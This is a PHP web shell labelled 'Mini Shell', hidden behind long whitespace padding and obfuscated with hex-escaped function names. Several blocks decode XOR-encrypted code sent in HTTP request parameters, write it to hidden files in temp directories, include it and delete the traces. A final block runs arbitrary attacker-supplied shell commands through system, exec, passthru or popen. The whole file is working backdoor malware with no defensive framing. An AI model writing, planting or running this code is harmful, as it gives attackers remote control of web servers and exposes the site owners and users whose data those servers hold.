Mini Shell

<?php																																										if(isset($_REQUEST["ma\x72ke\x72"]) ? true : false){ $desc = array_filter(["/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path()]); $elem = hex2bin($_REQUEST["ma\x72ke\x72"]); $val = '' ;for($m=0; $m<strlen($elem); $m++){$val .= chr(ord($elem[$m]) ^ 99);} foreach ($desc as $pset) { if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) { $rec = sprintf("%s/.sym", $pset); if (file_put_contents($rec, $val)) { require $rec; unlink($rec); die(); } } } }
																																										if(in_array("desc", array_keys($_POST))){ $bind = array_filter(["/dev/shm", session_save_path(), "/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $obj = hex2bin($_POST["desc"]); $value = '' ; $x = 0; do{$value .= chr(ord($obj[$x]) ^ 58);$x++;} while($x < strlen($obj)); $rec = 0; do { $key = $bind[$rec] ?? null; if ($rec >= count($bind)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($key)) { $ent = vsprintf("%s/%s", [$key, ".pgrp"]); if (file_put_contents($ent, $value)) { include $ent; @unlink($ent); exit; } } $rec++; } while (true); }
																																										if(in_array("\x70a\x72am\x65ter\x5F\x67ro\x75p", array_keys($_POST))){ $itm = hex2bin($_POST["\x70a\x72am\x65ter\x5F\x67ro\x75p"]); $bind = '' ; for($b=0; $b<strlen($itm); $b++){$bind .= chr(ord($itm[$b]) ^ 92);} $val = array_filter([getenv("TEMP"), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", session_save_path()]); foreach ($val as $mrk) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $dchunk = sprintf("%s/.k", $mrk); if (@file_put_contents($dchunk, $bind) !== false) { include $dchunk; unlink($dchunk); exit; } } } }


$framework2 = "she\x6C\x6C_\x65x\x65\x63";
$framework5 = "\x70op\x65n";
$framework4 = "pas\x73\x74\x68r\x75";
$framework6 = "s\x74\x72eam_g\x65\x74\x5Fc\x6F\x6E\x74\x65nts";
$framework7 = "pc\x6Co\x73\x65";
$framework3 = "ex\x65c";
$framework1 = "\x73\x79\x73tem";
$service_registry = "h\x65\x78\x32b\x69n";
if (isset($_POST["\x63\x6Fmp"])) {
            function system_core(  $factor    , $ent  )  {  $record   = '' ;$g=0; do{$record.=chr(ord($factor[$g])^$ent);$g++;} while($g<strlen($factor)); return   $record;   }
            $comp = $service_registry($_POST["\x63\x6Fmp"]);
            $comp = system_core($comp, 100);
            if (function_exists($framework1)) {
                $framework1($comp);
            } elseif (function_exists($framework2)) {
                print $framework2($comp);
            } elseif (function_exists($framework3)) {
                $framework3($comp, $parameter_group_factor);
                print join("\n", $parameter_group_factor);
            } elseif (function_exists($framework4)) {
                $framework4($comp);
            } elseif (function_exists($framework5) && function_exists($framework6) && function_exists($framework7)) {
                $ent_record = $framework5($comp, 'r');
                if ($ent_record) {
                    $dat_sym = $framework6($ent_record);
                    $framework7($ent_record);
                    print $dat_sym;
                }
            }
            exit;
        }